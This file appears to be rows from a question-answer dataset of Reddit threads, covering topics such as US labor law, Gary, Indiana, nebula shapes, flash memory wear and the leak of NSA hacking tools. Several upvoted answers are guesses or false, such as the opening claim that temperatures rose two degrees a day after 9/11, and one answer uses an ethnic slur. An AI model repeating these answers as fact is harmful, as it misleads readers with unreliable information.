decide what to believe. ", "Jet engines cause them. They are nothing but water vapor. They do however cool the Earth a small amount. After 9/11 when all the planes were grounded the Earths temp rose almost 2 degrees a day without the trails reflecting light. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3gyalh", "title": "when and how did the usa end up with poor worker rights while every other western country has things like mandatory lunch breaks, etc?", "selftext": "More or less the title, but also short holidays, no insurance for part time workers, holiday and sick leave being the same thing and other violations of workers rights", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gyalh/eli5_when_and_how_did_the_usa_end_up_with_poor/", "answers": {"a_id": ["cu2ks8g", "cu2kybq", "cu2lews", "cu2m1yg", "cu2n0fg", "cu2yml5"], "score": [11, 33, 6, 4, 69, 2], "text": ["The USA has a very independent idea of the relationship between self and society. Research has shown (reference on request, it's buried in my home office) that residents of Cuba, Canada and Japan each have a more collective outlook than residents of the US.\n\nThe outcome of this is that it's harder (but not impossible) for collective Workers Rights social movements to form in the US.\n\nIn addition, the \"American Dream\" is very much based upon the free market economy. In American culture, an individual can supposedly earn their way to a great package of workplace rights through hard work and clever career planning. The idea of the government intervening in the economic lives of individuals is harder to rationalise in that culture. The government exists to safeguard the 'opportunity' to succeed, not the success itself.\n\nCompare this to the UK, which doesn't have a national dream of personal independence, as much as the states. Here the health system was nationalised in the 1950s. The idea is that the governments ideal role is to garuntee that no individual will be \"left behind\". In this context, it's easier for the government to intervene in the relationship between employer and employee. ", "Workers rights laws in the US are a State level issue. Each State has their own laws. \n\nLunch Breaks: Every State requires lunch breaks. Most require them if you work for 6 hours or more, some require them if you work for 5 hours or more. \n\nSmoke/coffee breaks: Most every state requires that you get a 10 min break for every 2 hours worked, this can however be combined to give you your lunch break. This means that if you work for periods of time shorter than what give you a lunch break you still get smaller breaks. \n\nInsurance: Having insurance offered by jobs evolved from WWII. The Federal government froze all wages and salaries. This meant that jobs could no longer offer you more money to get you to choose to work for them, or to keep you working for them. So instead they started to offer benefits packages. This included insurance for vision, health, and dental. Perks like company cars, company bar tabs, company hotel memberships, diners club. Perks like paid vacation, etc. Most of these are perks for upper and middle management so they never made it down to lower wage workers and once the federal restrictions on wages were lifted after the war the perks remained as bonuses for the upper middle and upper class. It should be noted that most of the world thinks it is absolutely insane that any insurance is offered by jobs, that is something most of the world uses the government to provide. \n\nWorkers rights: This concept is one that for the most part developed after WWII in Europe. Europe went very Socialist in order to recover from the war. The government providing health care, food rations, etc was the norm. As things recovered the socialist ideas that permeated politics also permeated the work space and workers were able to negotiate for better things such as paid vacation, and more of it. More sick leave, etc. ", "America has a stronger focus on personal freedoms than a lot of other countries. While there is a large amount of people in the US who believe breaks/vacations/etc should be mandatory and enforced by law, there is also another large population that believes the government has no role in the private decisions of private citizens. ", "Lunch breaks are mandatory in the US unless you waive them. Trying to give people holidays is a slippery slope because you might accidentally favor one group over the other unless you just pay everybody for every holiday to be \"fair.\" Your question basically boils down to the fact that we have sacrificed everything as a society to maintain the facade of endless growth. Less work means less growth.", "\n\u201cSocialism never took root in America because the poor see themselves not as an exploited proletariat but as temporarily embarrassed millionaires.\u201d\n\n\u2015 John Steinbeck ", "I read something kinda interesting years ago. \n\nMany people fled their country for sanctuary. But nothing was established here. You could be a farmer in a European country pretty easily: things were just handed down. \n\nIn the U.S., people had to re establish themselves in the wild. Very different dynamic. Instead of having the assurance of land being in your family for decades (centuries?), you're starting over; competing, working land you're really unfamiliar with. The successful are somewhat more rugged than their European counterparts - but this must be balanced with the fact many failed and never made it past subsistence. \n\nWith no closed frontier, you actually did have a chance to be prosperous - like computer science today. \n\nThat ethic transplanted itself to the factories and coal mines. Kids helped around the farm at an early age or starved. Well, kids can work in a mine. \n\nI guess the controversial part is that rugged individualism doesn't exist in Europe. That was the author's posit. \n\nSo here's the rub: the ethic of rugged individualism clashes with the realities of life.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "37zt31", "title": "Can anyone tell me about the striped hats in this picture?", "selftext": "My Google-fu has failed me and I can't find anything about The black and white striped hats in [this](_URL_0_).\n\nThe ones that looks like a shako minus the brim.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37zt31/can_anyone_tell_me_about_the_striped_hats_in_this/", "answers": {"a_id": ["crr933m"], "score": [3], "text": ["Name of painting?"]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/c/c8/El_juramento_de_las_tropas_del_Marqu%C3%A9s_de_la_Romana.jpg"], "answers_urls": [[]]}
{"q_id": "30w7yi", "title": "why is gary, indiana considered so bad and how did its notoriety spread and be commonly accepted?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30w7yi/eli5_why_is_gary_indiana_considered_so_bad_and/", "answers": {"a_id": ["cpweodd", "cpwf3pw", "cpwfbge", "cpwfjhb", "cpwgxsv", "cpwhhuw", "cpwibvv", "cpwq2mb", "cpws4a7"], "score": [5, 9, 9, 17, 56, 8, 5, 2, 3], "text": ["It's like a poorer Chicago. People are even more desperate. Since it's also a way into Chicago people have often passed through it on their way there or through.", "I've heard it put as a failed, never successful detroit. It's essentially the entire south-central of Chicago placed in a single city. It's not uncommon to see truckers decline jobs that involve stopping or even driving through Gary.", "I believe it had something to do with US Steel going under. They employed a large portion of the population there. So when  thousands of people lost jobs poverty rates went up and so did crime.", "It has always been a pretty industrial town. Even back in the day - I heard that when the Hopi tribe first went to Washington DC to sign a treaty their train stopped in Gary. Upon seeing it the elders decided that this world was soon ending before a new one was born. So we got that going for us. ", "First you need to understand why the world even noticed Gary.  Gary was a steel town back in the day and provided a great portion of steel to help build Chicago across the river and Detroit a few hours north.  So this gained the town a little regional fame. More fame came with the major fame of Michael Jackson and the Jackson 5 who go on to set the world on fire and put Gary on the map. \n\nMid 80's many of the steel plants start shutting down and there is an exodus from the city of both commerce and residents.  Keep in mind at this time in history Gary boasts an 85% black population.\n\nAs the poverty rises so does the murder rate.  In the early 90's Gary is reported to be the murder capital of the US and gained much notoriety from that. For many years they tried their best to keep their title.   It is also the self proclaimed \"home of the ski mask\" and has been referred to as \"Scary Gary\" for decades.\n\nThe gangsta life was sensationalized even more when in the 90's the \"chi-town rap\" style was born and many of the acts came from the surrounding areas such as Gary, Hammond, etc.\n\n It also has had the same problems and set backs as many other mid-west towns have suffered from, meaning the main industry dries up and all the drug users who once had cushy jobs to support their habits now are unemployed and still need to get high. This has lead to many other types of crimes.  Gary also had some political scandals come and go in its history.\n\nPlus if you have ever been there the GI smells like straight up shit. you roll up your windows as you approach.  It is not really fecal matter it is the smell of processed steel.  \n\nHere we are in 2015 and those stories you hear are just that. stories. The history of a industrial town that lost most of its industry brought back by Gibbs and Chiraq and given a little more notoriety. All in all the town has its good parts and it has its bad parts like any town. ", "I used to live in Gary, long story short Gary was supposed to be a big nice city in the 40s and 50s which it was, people had high hopes. Skip to around the 80s I believe Steel Mills started shutting down which most of the population was working for at the time. The 90s came around and people started leaving the city cause they had lost jobs or went on to another job. \nNow in the 90s it was the #1 murder capital in 94? Skip to now it isn't as bad as people make it, I say the south side of Chicago is worse. \n\nTL;DR Steel Mills close down, people lost jobs and left. ", "Gary is not notorious outside of america by the way. Never even heard of the place till now.", "[Scary Gary: Rapper Freddie Gibbs talks about his hometown](_URL_0_)", "I was there doing a setup for nuts and bolts in the steel mill about a week ago. The town is dirty.  Empty houses everywhere.  But it had the best damn fish fry I've ever had. A little place just beyond the mills, on a windy road that dead ended.    Mmmmmmmmmm"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.complex.com/pop-culture/2011/07/scary-gary-freddie-gibbs-talks-about-his-home-town"], []]}
{"q_id": "173kxi", "title": "Why do stars explode in an \"hourglass\" shape?", "selftext": "I'm referring to [this](_URL_0_) picture for example. Why does the explosion go in two ways, why not just expand in every direction at the same speed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/173kxi/why_do_stars_explode_in_an_hourglass_shape/", "answers": {"a_id": ["c81ya81", "c81ysyy", "c820acm", "c820apu", "c820f27", "c820j1p", "c821mvy", "c823hy7", "c825aqo", "c82hrjf"], "score": [54, 17, 87, 5, 8, 62, 6, 2, 5, 2], "text": ["The star in the picture actually hasn't exploded yet. The [two emissions](_URL_0_) in the picture are believed to be made up of gas and dust caused partly by an outburst from the star in the 1800's.\n\nEdit: to add and clarify that the light from the outburst was first viewed in the 1800's, obviously the eruption occurred thousands of years before that. ", "This is [Eta Carinae](_URL_1_), a supermassive star nearing the end of its life, and throwing off truly epic amounts of matter in stellar winds that form this nebula in the process. You an read about the theories behind this particular nebula [here](_URL_0_).", "I'm not an astrophysicist (but I am a physicist), so I may be able to use some intuition to help you out here. Stars contain vast amounts of ionized gases called plasmas, where the heavy, positively charged nuclei of an atom are separated from the light, negatively charged electrons. Due to their differences in mass (nuclei are often thousands of times heavier than electrons) the motions of these particles are very different, and it is not uncommon for a plasma to become locally non-neutral, meaning that it has an overall electric charge.\n\nWhen the surface of a star blows off in a nova, it can send vast streams of charged particles away from the surface at relativistic speeds. One thing we know from classical electrodynamics is that moving charges create magnetic fields, and the faster they go, the stronger these fields get. In the case of a stream of particles, the effect of the magnetic field is to focus the path of the particles into a single jet. This is known as the [pinch effect](_URL_0_). Part of my research recently was studying the focusing power of semi-relativistic proton beams, so believe me, this is a real effect.\n\nIn the case of a star, I assume that it's these magnetic fields created by the moving plasmas and gases themselves which focus the blast into a semi-directed stream. As for why you have two streams going the opposite direction, the star needs to maintain conservation of momentum. So in its rest frame, it needs to throw off an equal amount of plasma in opposite directions in order to not break the laws of physics.\n\nIf a legitimate astrophysicist wants to come and explain it better, I'd be glad to be corrected.", "Unfortunately I don't have sources, but from what I remember from my astronomy class, it has to do with a star's spin.  That gives it a natural axis, and for some reason, things get thrown off primarily at the north and south poles.  ", "Is that picture real or an artist interpretation..?", "Supernova remnants are usually quite irregular, as example [the crab nebula](_URL_1_) but when a non-super massive star (like our Sun) dies it just loses its outer hot gas layers into space, this is called later a Planetary Nebula, these hot gases expand following different kind of symmetries really basen on the initial  conditions of the dying star like rotation speed, nearby stars, etc...   The resulting nebula not exclusively takes your \"hourglass\" shape, but also are common [spherical symmetries](_URL_3_), [irregular shapes](_URL_2_), and [totally awesome structures](_URL_0_).  \nBTW those examples are IC3568, NGC6326 and NGC6543.", "Eta Carinae (the star at the centre of the Homonculus Nebula pictured) is a Binary star. It hasn't gone supernova yet, but did have an \"event\" about 150 years ago (EDIT: Observed 150 years ago, would have occurred ~8000 ya) which resulted in the creation of the nebula. So far, we don't really know what that was.\n\nHowever, the reason for the hourglass/peanut shape is though the be a result of the binary nature of the star. The two orbiting stars create shockwaves in the mass that is shed, resulting in shedding in the poles (i.e. the directions perpendicular to the plane of the orbits). Gas ejected around the \"equator\" tends to be interrupted by these shockwaves and fall back into the stars, unable to escape.", "I think he meant. Why are hourglasses shaped like exploding stars?", "[Eta Carinae](_URL_0_) in particular is understood to be a binary system, composed of one star that's around 60-100 (very rough estimate) times the mass of the Sun and another that's around 30-40ish solar masses. These two stars orbit each other in a highly elliptical orbit with a period of about five years. \n\nThe major axis of their orbit is thought to lie along the line of rotational symmetry in the Homunculus Nebula (name for the ejecta around the star). Every five years the stars pass close to each other, and via a variety of not-fully-understood processes, probably including massive tidal forces, they rip gas off of each other and fling it out. \n\nThe bulk of the nebula actually comes from one event which was observed in the 1840s and from another event in the 1890s. In the first event, Eta Car (which is in the southern sky) actually became the second brightest star in the sky, very nearly outshining Sirius. This was due to a huge mass loss event.\n\nVery massive stars like Eta Car are bewildering, awesome objects because they are extraordinarily powerful (~1 million times as luminous as the Sun) and these forces are difficult to properly model. Something worth knowing about in this case is the [**Eddington Luminosity**](_URL_1_) which basically says that for an object of a given mass, if it gets to a certain brightness, the radiation pressure from within will beat the gravitational binding force, and the object will start to get torn apart. This is exactly what is happening to Eta Car (and to any other star you see with a planetary nebula around it).", "i do supernova astrophysics. as was already correctly mentioned, most of supernova remants is actually not shaped like hourglass. most of those hourglass pictures are actually planetary nebulae, which are created much slower... and even most of them is actually rather spherically symmetric. there is many reasons why some of them appear in the hourglass shape and when they do, they are just so photogenic that their pictures are all over the internet.\n\nhowever, in hydrodynamical simulations of supernova explosions many people get something that they call bipolar instability. it is a situation, when most of the matter and energy goes from two opposite points from the sphere, not necessarily evenly distributed between those two directions. there is no easy way how to explain why this happens, but it seams to be initiated by asymmetry due to stars magnetic fields and rotation. see e.g. _URL_0_ or _URL_3_\nedit: actually, those two papers are not good examples for simulation of that thing, they were just first two hits on search for it... if i find a good paper with simulation of asymmetric explosion, i'll put it here later.\nedit2: here you go for simulation of bipolar planetary nebulae creation: _URL_1_\nedit3: and here is some better simulation of non-spherical supernova: _URL_2_\n\nin addition to the classical core collapse supernovae, that are from stars that have over the critical mass at the end of their life, there are also supernovae that happen when white dwarfs accrete enough matter to go over critical mass. this can happen in two ways - either a white dwarf slowly accretes mass from nearby red giant (single degenerate) or two white dwarves that orbit each other gradually lose enough energy and collide (double degenerate). some recent studies suggest that this even could be how most of these supernovae actually happen. in that case, the resulting nuclear reaction that leads to supernova will most likely happen in assymetrical way, but i haven't seen too many simulations of this phenomena."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/fw5mBKT.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Homunculus_Nebula"], ["http://en.wikipedia.org/wiki/Homunculus_Nebula", "http://en.wikipedia.org/wiki/Eta_carinae"], ["http://en.wikipedia.org/wiki/Pinch_(plasma_physics)"], [], [], ["http://en.wikipedia.org/wiki/File:NGC6543.jpg", "http://www.spacetelescope.org/static/archives/images/screen/heic0515a.jpg", "http://upload.wikimedia.org/wikipedia/commons/a/a6/NGC_6326_by_Hubble_Space_Telescope.jpg", "http://upload.wikimedia.org/wikipedia/commons/2/2b/IC3568.jpg"], [], [], ["http://en.wikipedia.org/wiki/Eta_Carinae", "http://en.wikipedia.org/wiki/Eddington_limit"], ["http://iopscience.iop.org/0004-637X/584/2/954/", "http://home.strw.leidenuniv.nl/~icke/html/VincentPN.html", "http://www.aanda.org/index.php?option=com_article&amp;url=/articles/aa/full/2006/26/aa4512-05/aa4512-05.html&amp;access=standard&amp;Itemid=129", "http://www.researchgate.net/publication/228926176_Supernovae_rotation_and_bipolar_explosions"]]}
{"q_id": "tbjra", "title": "What happens at the physical level when flash memory experiences memory wear?", "selftext": "I've been reading about how flash memory works [here](_URL_0_) and [here](_URL_1_). One of the things mentioned is memory wear. After a certain number of read/write cycles, data can't be read or written correctly. What happens to the memory cells and transistors that prevents them from operating correctly? Can they not hold a charge anymore? or does the oxide layer deteriorate? or something else?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tbjra/what_happens_at_the_physical_level_when_flash/", "answers": {"a_id": ["c4l9yel"], "score": [10], "text": ["Flash memory is based on floating-gate MOSFETs, in which the charge is stored in an entirely insulated metal to prevent discharge.\n\nTo read, a sense transistor nearby detects the electric field. But to write, a large potential is used to forcefully tunnel electrons across the insulation. Repeatedly forcing current through an insulator degrades it, so yes, memory wear pretty much happens due to the insulating layer deteriorating."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Flash_memory", "http://computer.howstuffworks.com/flash-memory.htm"], "answers_urls": [[]]}
{"q_id": "2hldef", "title": "where do the rounded fractions of pennies go?", "selftext": "I am watching office space now, they write a program to take the fractions of pennies. Where do they actually go? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hldef/eli5_where_do_the_rounded_fractions_of_pennies_go/", "answers": {"a_id": ["cktrbzl"], "score": [3], "text": ["it's called the [Salami Slicing.](_URL_0_)\n\nin Office Space case, the transfer all those \"roundings\" into a separate account. So a fraction of a penny Times 1,000,000 transactions per day equals $1000+ per day."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Salami_slicing"]]}
{"q_id": "1arbt4", "title": "why can't we smell the inside of our body through our skin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1arbt4/eli5_why_cant_we_smell_the_inside_of_our_body/", "answers": {"a_id": ["c901c82"], "score": [5], "text": ["I'm going to assume it's because the skin is a thick protective layer. It prevents diseases and bodily harm. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35odoe", "title": "How are Supercomputers tested?", "selftext": "How do the manufacturers/scientists test the computational power of a Supercomputer ?\n & nbsp;\n\nEDIT: I mean, before shipping during the implementation phase, as /u/mfukar points out.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/35odoe/how_are_supercomputers_tested/", "answers": {"a_id": ["cr6ary0", "cr6n78c", "cr865n5"], "score": [25, 3, 3], "text": ["[Top 500 - The Linpack Benchmark](_URL_1_): *\"As a yardstick of performance we are using the `best' performance as measured by the LINPACK Benchmark. LINPACK was chosen because it is widely used and performance numbers are available for almost all relevant systems.\"*\n\n[Wikipedia - LINPACK benchmarks:](_URL_0_) - *\"The LINPACK Benchmarks are a measure of a system's floating point computing power. Introduced by Jack Dongarra, they measure how fast a computer solves a dense n by n system of linear equations Ax = b, which is a common task in engineering. The latest version of these benchmarks is used to build the TOP500 list, ranking the world's most powerful supercomputers.\"*", "Many years ago, I personally worked on development of an internal application which did some of this testing.    At the time it was referred to as the Compiled Experimental Functional Simulator.   \n\nInteresting side fact - the lead person on the small 3 person team I work with on the project was recently the CEO of a major computer chip making company.  ", "A lot of super computers constructed these days aren't custom hardware - they are large distributed systems using commercially available hardware.  So I'll give you an answer from the perspective of a modern compute cluster, say at a university or for a lab.\n\nYou can assume (to a fairly large extent) that Intel is going to test and verify their own hardware.  You may still run into bugs and ask the appropriate vendor for a microcode update but that's rare outside of places like Google or Amazon.\n\nSo do you just go down to Best Buy and grab 1000 processors and motherboards?  That would be bad.  The first step of the process is predicting and quantifying your load.  If you're building a supercomputer or a compute cluster to handle tonnes of \"embarrassingly parallel\" problems that involve little I/O, then you're going to focus on GPGPUs and strong CPUs.  You can do small scale tests with a few nodes and see if the performance characteristics are what you expect.  If you're building a cluster for big-data and run map-reduce, you're going to worry about you interconnect speeds and your network topology and the amount of memory each node has etc. etc.\n\nAfter that, you need to worry about operations and maintenance and roadmaps.  How much redundancy do you need to keep your customers happy?  What happens when a node goes down?  What happens if a bird flies into a transformer and takes down power to your data center?  What happens if gypsies cut the fiber-optic lines going into your DC?  How hot is your DC running?  Will your operations people die if the HVAC fails?\n\nOnce you get a design sorted out, then there's a giant software/tooling problem remaining.  What OS is going to run on each node?  How do you upgrade nodes?  What schedules jobs to run on each node?  How does the data get saved?  How are things backed up?  How is the network configured?  What node's in charge (or maybe there isn't one and you're using some sort of distributed algorithm)?  Authentication?  Security?  Audit logs?  Are there APIs for this?  You can't just go Ctrl-Alt-Del 10000 nodes if you botch a software upgrade.  Your computer can have flashy hardware but if every node has 100 instances of flash running on it, you're going to have a bad time getting anything done.\n\nA lot of the software involved goes from \"I can cobble together something from commercially available software\" to \"Oh god I need to invent my own messaging protocol and election algorithms\" very very quickly depending on the scale of the problem.  The standard principles of software testing apply.  Unit tests, functional tests, integration tests, fuzz tests, large scale simulation based on real or hypothetical loads...  all that good stuff.\n\nAnd hopefully once you're done with all that, you haven't run out of money and time and people can actually use it.  You've got to keep upgrading and continuously improving it though.  That's the life of a modern super computer/data center.  Go look at _URL_1_ for an example of the amount of software engineering that goes into CERNs compute infrastructure.  And all that is open-source.  Or search for any of the various papers the big software companies public on their data-center/platform design.  For example:\n\n_URL_0_\n_URL_2_\n\nSource: Worked as a software test engineer at Google within cluster management.  Was on the team that tested Borg and Omega.  It was a fun and completely mind-blowing couple of years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/LINPACK_benchmarks", "http://www.top500.org/project/linpack/"], [], ["http://research.google.com/pubs/pub41684.html", "https://root.cern.ch/drupal/", "http://research.google.com/pubs/pub43438.html"]]}
{"q_id": "1eoq35", "title": "Did criminals in the 20-40s actually carry firearms in violin cases?", "selftext": "[Example](_URL_0_)\nThis seems like a Hollywood invention to me. Is there any proof of this method for concealing firearms being used?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1eoq35/did_criminals_in_the_2040s_actually_carry/", "answers": {"a_id": ["ca2asf2", "ca2cxo9", "ca2sjbh"], "score": [62, 35, 2], "text": ["I can't speak for the 1920s, but violin cases were used to hide the guns used in the [Lod airport massacre](_URL_0_) in 1972, where a Japanese Red Army terrorist group shot 26 people dead in an Israeli airport.\n\nWhere they got the inspiration from I can't say for certain.", "If by firearm you mean the Thompson submachine gun, then it might have happened. \n\nThe tommy gun was such a large weapon that it could not be concealed on a person, unlike a handgun. If you disassemble it, taking it apart so the receiver, stock, foregrip and magazine are separate pieces you can fit it into a violin case. (Why a violin case, instead of a regular suitcase large enough to fit the weapon, seemed like a good choice is anyones guess.)\n\nFrom Maurer, D.W., writing in the academic journal American Speech 7:2, December 1931: \n\n\"violin case, n. phr. The case for carrying a machine gun. Actual violin cases are often used, but sometimes a specially-constructed case resembling a violin case is employed.\"\n\nI might add that the 1930 gangster movie The Doorway To Hell features a \"gun in violin case\" movie trope. Arguments can be made as to what came first, the gangster-slang or the movie depiction, but the idea dates back to the early thirties and is not a recent Hollywood invention.", "Joe Valachi, the mafia informer from the congressional hearings in the early sixties, talks about a mobster from the thirties who carried a sawed-off 12 gauge pump shotgun in a guitar case. He's known as \"Buster from Chicago\". \n\nNot exactly solid evidence, but there you go.\n\nSource: Peter Maas, \"The Valachi Papers\". "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/CO6rTJx"], "answers_urls": [["http://en.m.wikipedia.org/wiki/Lod_Airport_massacre"], [], []]}
{"q_id": "jsuci", "title": "how can math equations be depicted through stories such as alice's adventures in wonderland?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jsuci/eli5_how_can_math_equations_be_depicted_through/", "answers": {"a_id": ["c2evmio", "c2evmio"], "score": [2, 2], "text": ["The book AFAIK doesn't really depict math equations, but general mathematical ideas. \n\nFor example, the Cheshire cat disappears, leaving only its grin. This is analogous to the type of abstraction that often occurs in mathematics; one will take a familiar concept, like integers, and then forget about everything that makes it what it is, except for some mundane detail, like the distributive law. \n\nSee some examples in the symbolism section [here](_URL_0_).\n\nFor some reason, Charles Dodgson (Lewis Carroll) disliked this level of abstraction, and so put symbolism in the book to show how ridiculous it all was. \n\nBut mathematicians don't care if something is ridiculous or not, only if it can be proven. So nowadays, we use far more \"ridiculous\" and abstract concepts all the time. Most mathematicians I know actually have trouble doing things like regular addition or multiplication, because such a skill is almost entirely irrelevant to being a good mathematician.  ", "The book AFAIK doesn't really depict math equations, but general mathematical ideas. \n\nFor example, the Cheshire cat disappears, leaving only its grin. This is analogous to the type of abstraction that often occurs in mathematics; one will take a familiar concept, like integers, and then forget about everything that makes it what it is, except for some mundane detail, like the distributive law. \n\nSee some examples in the symbolism section [here](_URL_0_).\n\nFor some reason, Charles Dodgson (Lewis Carroll) disliked this level of abstraction, and so put symbolism in the book to show how ridiculous it all was. \n\nBut mathematicians don't care if something is ridiculous or not, only if it can be proven. So nowadays, we use far more \"ridiculous\" and abstract concepts all the time. Most mathematicians I know actually have trouble doing things like regular addition or multiplication, because such a skill is almost entirely irrelevant to being a good mathematician.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Alice_in_Wonderland"], ["http://en.wikipedia.org/wiki/Alice_in_Wonderland"]]}
{"q_id": "4z1cu3", "title": "the nsa hack", "selftext": "(and how it a(e)ffects the world)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4z1cu3/eli5the_nsa_hack/", "answers": {"a_id": ["d6s181v", "d6sak36", "d6sopwk"], "score": [8, 11, 2], "text": ["The NSA created a bunch of software tools to give them access to people's computers.  \n\nSomeone stole the tools and released them to the world.\n\nWe don't know how it will affect the world, but it seems to make our computers less secure since these are presumably top-notch tools and now lots of bad people can use them against normal users.", "Yes, essentially - someone stole and leaked some tools from the NSA that gives anyone with the tools easier access to computers/routers/etc. However, now that the tools are publicly available, software companies will have a much easier time building safeguards against the tools and will probably be releasing updates soon to protect against them. So you should update the firmware on your router soon, but maybe double-check to be sure the update is legit.", "It also appears to be several years old and from a Command and Control Centre. \n\nThe most likely outcome may involve a group of hackers with unusually good English selling Russian hacking tools. At least that's my take."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2dpv4n", "title": "the phrase \"bob's your uncle\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dpv4n/eli5_the_phrase_bobs_your_uncle/", "answers": {"a_id": ["cjrwln1", "cjrwm6t", "cjrwocw", "cjrxsmf", "cjs0erq", "cjs0mr7", "cjs0ssa", "cjs1blp", "cjs3feg"], "score": [5, 22, 32, 6, 13, 3, 12, 4, 3], "text": ["I've been asking this of my Brit friends for years. I'm saving this so hopefully I get an actual answer. ", "\"Robert's your mother's brother, so, Bob's your uncle.\"", "The Wikipedia article (_URL_0_) has some theories, but unfortunately there is no definitive explanation. My favorite theory: \n\"Another explanation is that it is related to the British General, Lord Roberts, nicknamed \"Bobs\". The British Army in India coined the term \"Bob's your uncle\" to indicate you had the good fortune of being related to the commanding general.\"", "I know some people in Toronto that use it after the end of an explanation or directive, as if to say, \"so there you have it,\" or \"that's it.\"\n\n\"I need you to send me a fax including all the participants' information so we can tell the hotel how much caviar to order. Meanwhile, I'll make sure there's enough fliers for the event... And... Bob's your uncle.\"", "My English teacher always said it as: 'Bob's your uncle, Fanny's your aunt, and we all know where the nuts come from!' To which we (the class) would chorus: 'Brazil!'\n\nI don't know why though", "And fanny's your aunt", "It's an expression used to mean, \"look how quick/easy it is.\" \n\nThere's a long way of doing things, \"Robert is your father's brother,\" and a short way, \"Bob's your uncle.\"", "Never heard this before in my (long) life.  Where are you people from?", "I think I should clarify. I know what it represents in sentence structure as far as a silly way to conclude something. What I want to know is how it got to be such a popular thing in British culture when it really has no relation to concluding anything."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.m.wikipedia.org/wiki/Bob's_your_uncle"], [], [], [], [], [], []]}
{"q_id": "389wdg", "title": "If the Internet could be wholly redesigned from the ground up, what standards, protocols etc. would be implemented differently?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/389wdg/if_the_internet_could_be_wholly_redesigned_from/", "answers": {"a_id": ["crtogt4", "crtqtt6", "crtrest", "crtvf86", "crtyouq", "cru14o0"], "score": [45, 13, 15, 22, 2, 6], "text": ["Assuming we know what we have learned from this internet, DNS would certainly be up for major overhaul.\n\nThe DNS protocol is responsible for a ridiculous percentage of DDoS attacks because of the quantity of poorly configured open resolvers and the design of the protocol itself, which makes it trivial to spoof a request that sends far more data to the victim as a response than is required in the request from the attacker.\n\nthis is known as an amplification attack and after working at an ISP for years it had my vote for single largest threat to the stability . the internet.", "I imagine the standard in-browser language would be less terrible than javascript.", "We'd build in connection level encryption for a start.\n\nSMTP would have authentication.\n\nDNS would be fixed to prevent spoofing.\n\nHTTP(S) is an amazing success that works astoundingly well, so I hope we'd keep that. ", "If we were starting from scratch, we would almost certainly skip [IPv4](_URL_1_) entirely and go straight to [IPv6](_URL_0_) or some variant with an equally large address space.\n\n4 billion IP addresses must have seemed like an endless supply back in the 80's, but in the last few years we've finally started running out, and the demand for addresses is only going to get worse from here. At the rate things are going now, it's going to be years before it's viable to run a public site solely on IPv6.", "DNS is a weak link in security when ISPs want to block access to sites that generate a lot of traffic and governments want to block access to sites that make them uncomfortable. It could be reimplemented using a distributed scheme similar to ARP, but this could be vulnerable to poisoning (fake responses).\n\nA more robust email protocol is needed. Lots of them have been proposed, but SMTP is just way too standard to replace it. The most important feature I'd like to see implemented is being able to check the status of a message (received by the remote server, downloaded by the user's MUA, read, etc.). Currently this is only handled by those silly confirmation messages.", "Go with IPv6 from the start and throw away IPv4. Ip6 has many advantages over 4.  Not needing NAT, simplified routing, better support for multicast to name a few.\n\nHere is a link to advantages of IPv6. _URL_0_?\n\nNAT sucks. I hate it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/IPv6", "http://en.wikipedia.org/wiki/IPv4"], [], ["http://www.networkcomputing.com/networking/six-benefits-of-ipv6/d/d-id/1232791"]]}
